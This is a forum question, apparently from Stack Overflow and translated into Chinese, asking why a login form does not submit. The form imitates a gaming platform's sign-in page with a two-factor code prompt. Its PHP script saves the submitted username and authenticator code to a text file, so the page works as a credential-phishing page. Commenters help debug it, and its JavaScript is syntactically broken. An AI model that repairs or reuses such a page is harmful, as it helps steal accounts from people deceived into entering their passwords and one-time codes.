【发布时间】:2018-01-12 23:53:50
【问题描述】:
所以我有这个表格。我现在的方式是用户将输入他们的用户名和密码,然后单击登录,(身份验证引脚被隐藏)直到单击显示 div 的登录按钮并且用户输入他们的验证针。我遇到的问题是无论我在文本框中提交什么,都没有提交到我在这里的 php 脚本中:
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
<!DOCTYPE html>
<form action="/loginaction.php" method="post" name="submit">
<input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br> <br>
<label for="userPassword">Password</label><br>
<input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
<div class="checkboxContainer">
<div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu. This feature is only available to PIN Guard enabled accounts.">
<input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
</div>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
<button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">
<div class="auth_button_h3">submit</div>
<div class="auth_button_h5">my authenticator code</div></button></div></div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="#">
Contact Support for help with account access </a>
</div>
</div>
</form>
</head>
表单名称都输入正确,并且我将操作设置为正确的脚本,但是当我检查生成的文本文件时,没有输入。我希望提交验证 PIN 的按钮提交所有 3 个详细信息(用户、密码、身份验证码)的表单和登录按钮以取消隐藏验证 div(工作正常)。任何帮助将不胜感激。
提交表单的javascript函数是
<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}
【问题讨论】:
-
函数
submitForms()在哪里定义的? -
我现在将更新我的代码。
-
如果文件无法打开,您的 PHP 可能会被终止。您可以尝试使用打开文件的部分提交吗?
-
action=/loginaction 是打开文件的部分我很确定
-
还有一点很重要,那就是表单是否提交回同一页面。顶部的 php 是用来处理表单提交的,对吗?
标签: javascript php jquery html forms